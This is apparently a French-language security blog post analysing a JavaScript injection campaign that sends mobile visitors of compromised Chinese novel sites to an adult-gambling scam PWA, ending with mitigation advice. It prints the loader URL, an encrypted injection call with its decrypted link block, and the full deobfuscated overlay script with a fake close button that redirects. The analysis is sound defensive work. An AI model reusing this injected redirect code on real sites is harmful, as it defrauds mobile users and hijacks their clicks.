Skip to main content
Blog
Attacks Blog

Une arnaque chinoise pour adultes cible les utilisateurs mobiles via une PWA

Nous avons identifié une nouvelle campagne d'injection abusant de JavaScript tiers pour rediriger les utilisateurs.

May 20, 2025 5 min read
pwa-injection-cover-image

Nous avons identifié une nouvelle campagne exploitant des injections JavaScript tierces pour rediriger les utilisateurs mobiles vers une arnaque PWA chinoise à contenu adulte.

Exemple (NSFW) : hxxps://xjdm166[.]com/html/#/i/home

Si la charge utile elle-même n'a rien de nouveau (encore une arnaque de jeux d'argent pour adultes), le mode de livraison, lui, se distingue. La page d'atterrissage malveillante est une Progressive Web App (PWA) à part entière, visant probablement à retenir les utilisateurs plus longtemps et à contourner les protections de base des navigateurs.

Les PWA sont souvent ignorées dans le domaine de la sécurité côté client. Pourtant, toute livraison via navigateur est susceptible d'être exposée à ce type de vulnérabilités.

Ce qui se passe :

  1. Ciblage mobile uniquement : Le script filtre les utilisateurs desktop et concentre les attaques sur les appareils mobiles.
  2. Injections de script via la balise viewport : Si la page compromise ne possède pas de balise meta viewport, le script en injecte une pour garantir un rendu mobile correct.
  3. Injection d'une superposition publicitaire :
  • Une superposition sombre semi-transparente est ajoutée.
  • Une image est récupérée depuis toutiaoimg[.]com pour servir de visuel principal.
  • Un bouton de fermeture est ajouté — mais cliquer dessus déclenche une redirection.
  1. Détournement de clic :
  • Cliquer sur l'image principale ou sur le faux bouton de fermeture ouvre le site d'arnaque PWA dans un nouvel onglet.
  • Un classique appât-et-substitution.
  1. Ressources externes chargées :
  • xxsmad6[.]com (chargeur principal et ressources)
  • xjdm166[.]com (site d'arnaque de destination finale)
  • toutiaoimg[.]com (se faisant passer pour un hébergeur d'images légitime)

Les attaques via PWA sont en hausse

  • L'utilisation de PWA indique que les attaquants expérimentent des méthodes de phishing plus persistantes.
  • Le ciblage exclusif du mobile leur permet d'échapper à de nombreux mécanismes de détection.
  • Il s'agit d'une nouvelle variante des campagnes d'injection chinoises de jeux d'argent pour adultes observées ces derniers mois, mais avec une nouvelle tactique de livraison.

Sites web compromis : déguisés en plateformes de lecture de romans

<title>海棠文学网_好看的小说_小说排行榜_最全的小说阅读网</title>
<title>神马小说网 - 最好看的免费小说阅读网</title>
<title>78小说网_书友最值得收藏!</title>
<title>寂寞书屋 - 纯净阅读,无弹窗广告干扰</title>

Traduction :

<title>Haitang Literature Network_Good novels_Novel rankings_The most comprehensive novel reading network</title>

<title>Shenma Novel Network - The best free novel reading network</title>

<title>78 Novel Network_Book friends are most worthy of collection!</title>

<title>Lonely Book House - Pure reading, no pop-up ads</title>

Dans l'ancien TTP, les sites suivants ont été victimes d'injections de scripts :

ancien TTP

Dans le nouveau TTP, nous avons constaté que le code est chiffré :

$('#htmlContenthtml').html(x("uhkV3gCCBQyiiK\u002bNG9JE\u002b9hHSIODkYZ1ut5A6t6ZN1CzUGIQV0q\u002bDif4omYaPwky489u93Bg0A3mGPnKRNpagzetPGDoU\u002bqgg9XIwBFbNm0peuBVpJNWUyEo9A9jMb1ww\/lJPCvSd7udl39atb6SGz7uyslJZ9dasE\/vd\u002bHndr\u002bcaWLMw1gWIixKSIgpVmONGvK6CsRol9Y1q00W1XLRuBVoaGY2IKqMcfJJGpGwBtUQMLaxY5XZIrVLu10GdxWMXBMyvnghS\/EdP6hJtLE\/mfoGAf8zerXqTEKiTvTDKfG7CC7icpdf81fSEKdeh8AfSrHR48S1AagUWx0R6m5MFsm8BGTlJIzMUHzp9KJ\u002bI8Mnop9cH14cOgn2ogrgjDcmTH03ing4oZ\u002bWBiQlDGjMJAIEgYILMURWJrJBh\/OSYaiIcH0BaDem3\/cZ052IkV61YJFeyZqYEkIEd156Mednuct8dZ840FTbhhLlE43O0BpNKgQYCTKuC5HNXAQMihQXRwT1\u002bQidCflMlPdqiWbnNg5aFKTqF3Sp99OwGCGzzTOb55f\u002bmkHhqf4Lkx5JocptlF3RqE2LU8IAs9cxAGJeFOd\/\/iV89tqUPrEm6gZ9BUIcXDNmA39xIpn1gd2xnptU4GicPWmPhYgcwaZZqWKZdwcdD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3KDAhIHWgcr\/XRQpiT7D6anVoberQm6gdz8sYAcw06Z7p2rhuL8HQmk5tZCRDJ2e6Gd91pGSn38fQvmTXkNC3mAqbH\u002b63HBtF9CnG76U6MX3qOhHxW3eLBur9WmlWJ0hAej4p5r3LBxJ2W8bTk322bB6n48WYgYOU4H0Xr\/QKZlbp0a10iOViF\/joR8n0CF5MDJr4JCAm4HSt7oVksigTAePh3hRt\u002b3Xoq0Znm3Ze46XvPr3JPZ9cUNpB\u002bjVSWztX41j0fzBCowNTAMDFYMv7QJTFfISU5daCT2PJ4bjwEd7s8dbL4GkiZzsHjeU1Y27pYuZ5WcW\u002bIWeuX1NXRaFSOT4spx\/FijUaA4g5jRR6Qmx55m5Mf2vOUJ9itjVMqfGGtb\/UyvvoizfN\u002bVNpdPRSUlB17cXotygSPIFpki4\/Yr53w8CvmIyKNsg7i0yt2nnuhP59k70WUTmR5e2Or8HCRkX7y6H2pm0IZkD2vmJFvTbLCkb4cjRU2SM28gWFmoelBucFfbiDxKkPYMvJjJSTkg6WiGtd8hdF82og0\u002bXvxAjKwuDb23btRE\/kKFDgllFg==","encryptedDatastr","eIyX1RkLJ4dnkjWpsfuAWA=="));

Ce code se déchiffre en :

<style type="text/css">
@media screen and (min-width:800px){.yl5{display:none;}}.yl5{width:100%;overflow:auto;background:#33343f;}.yl5 dd{float:left;width:20%;white-space:nowrap;overflow:hidden;padding:0;line-height:32px;margin-inline-start:0px;margin-bottom:0rem;}.yl5 dd li{line-height:30px;height:30px;overflow:hidden;text-align:center;border:1px solid #e5e5e5;background:#33343f;border-radius:1px;list-style:none;}.yl5 dd li a{font-size:18px;color:#f9ff00;}</style>
<div class="yl5">

<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/yn2k0ypd"><strong>视频I区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/r42r7opq"><strong>视频E区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/mqp10w2x"><strong>视频J区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/z32x7npd"><strong>视频D区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/1dpy76pv"><strong>视频P区</strong></a></li></dd>

<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/oq5dd058"><strong>视频F区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/q5o9gx5w"><strong>视频Q区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/l50dx72e"><strong>视频S区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/32xdq1pd"><strong>视频W区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/92qlr9pn"><strong>视频Y区</strong></a></li></dd>

<div class="mebty"><table border="1" width="100%" class="duilianpt" bgcolor="#ffffff" cellspacing="0" bordercolor="#FFFFFF" bordercolorlight="#FFFFFF" bordercolordark="#FFFFFF" cellpadding="4" style="text-align:center; background-color: #33343f;font-size: 16px;"><tbody><tr><td style="background-color: #33343f;"><a style="color: red;">AV VIP温馨提示:因运营商网络问题,若网站打不开,akav01.top-akav60.top总有一个能打开!</a></td></tr></tbody></table></div></div>

Le flux d'injection

L'attaque commence par l'injection du script suivant dans les sites web :

javascript
CopyEdit
hxxps://xxsmad6[.]com/s.php?g=1&t=2&p=1388&i=
  • Ce script joue le rôle de chargeur initial.
  • Lorsque la victime visite un site compromis depuis un appareil mobile, cela déclenche la redirection.
  • Les visites depuis des appareils non mobiles (desktop, robots d'exploration) sont ignorées, ce qui réduit les risques de détection.

Nous observons un trafic significatif vers ce domaine, ce qui indique une campagne de grande envergure.

Le script de charge utile (désobfuscation JavaScript)

Voici une analyse du code principal injecté :

(function () {
  let flag = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent);
  if(!flag){ return false; }

  // Ensure viewport for mobile rendering
  var gmate = document.getElementsByTagName('meta'), isviewport = 1;
  for(var i=0,len=gmate.length; i<len; i++){
    if(gmate[i] && gmate[i].getAttribute('name') == 'viewport'){ isviewport = 0; }
  }
  if(isviewport){
    var node = document.createElement('meta');
    node.content = 'width=device-width,initial-scale=1.0,maximum-scale=1.0,minimum-scale=1.0,user-scalable=no';
    node.name = 'viewport';
    document.getElementsByTagName('head')[0].insertBefore(node, head.firstChild);
  }

  // Fallback for missing body
  if(!document.body){
    document.write("<a id='_nobody' style='display: none'>none</a>");
  }

  var arand = Math.floor(Math.random() * 100000);

  var o = "<div id='"+arand+"' style='width:100%;background-color: rgba(0,0,0,.64);box-shadow: 0 -1px 1px rgba(0,0,0,.10);'>" +
            "<div style='position: relative;'>" +
              "<a href='https://xxsmad6.com' target='_blank'>" +
                "<img style='position: absolute;bottom: 0;left:0;display: none;' src='hxxps://xxsmad6[.]com/static/union/images/b-5.png'>" +
              "</a>" +
              "<img id='i"+arand+"' style='width: 100%;display: block;' src='hxxps://p3-sign.toutiaoimg[.]com/...' >" +
              "<img src='hxxps://xxsmad6[.]com/static/union/images/close.png' id='c"+arand+"' style='position:absolute;top:0;right:0;cursor:pointer;width:26px;height:26px;z-index:2147483647'>" +
            "</div>" +
          "</div>";
  document.write(o);

  document.getElementById("c"+arand).onclick = function() {
    window.open(("hxxps://xjdm166[.]com/html/?p=1388"), "_blank");
  };
  document.getElementById("i"+arand).onclick = function() {
    window.open(("hxxps://xjdm166[.]com/html/?p=1388"), "_blank");
  };
})();
Exemple d'un site web à contenu adulte

Au cours de l'analyse, nous avons trouvé des anomalies dans ces applications web qui nous ont permis de découvrir des frames cachées.

Apparence normale du site Ho ti :

Vue du site non compromis

Site avec anomalies de frames :

L'anomalie révèle des frames cachées

Les URL injectées mènent à de faux sites pour adultes qui tentent de se faire passer pour des sites adultes bien connus :

Fausse page de redirection

Cela mène au téléchargement de logiciels malveillants pour Android et Apple :

Faux iOS

Nous avons réussi à obtenir 2 échantillons détectés par seulement 3 éditeurs sur VirusTotal.

Mesures d'atténuation et recommandations :

  • Examinez et assainissez les scripts tiers. Concentrez-vous sur les inclusions externes que vous ne contrôlez pas.
  • Mettez en place une CSP (Content Security Policy) stricte pour limiter l'exécution de scripts inline.
  • Surveillez le comportement en temps réel de votre site web avec une solution de sécurité côté client.
  • Restez vigilant face à tout nouveau meta tag inattendu, toute superposition ou toute requête externe vers des domaines que vous ne reconnaissez pas.
Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Surveillez et sécurisez vos scripts tiers

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Commencez gratuitement, ou essayez Business avec un essai de 14 jours.

cside Interface du tableau de bord affichant la surveillance des scripts et les analyses de sécurité
Related Articles
Réserver une démonstration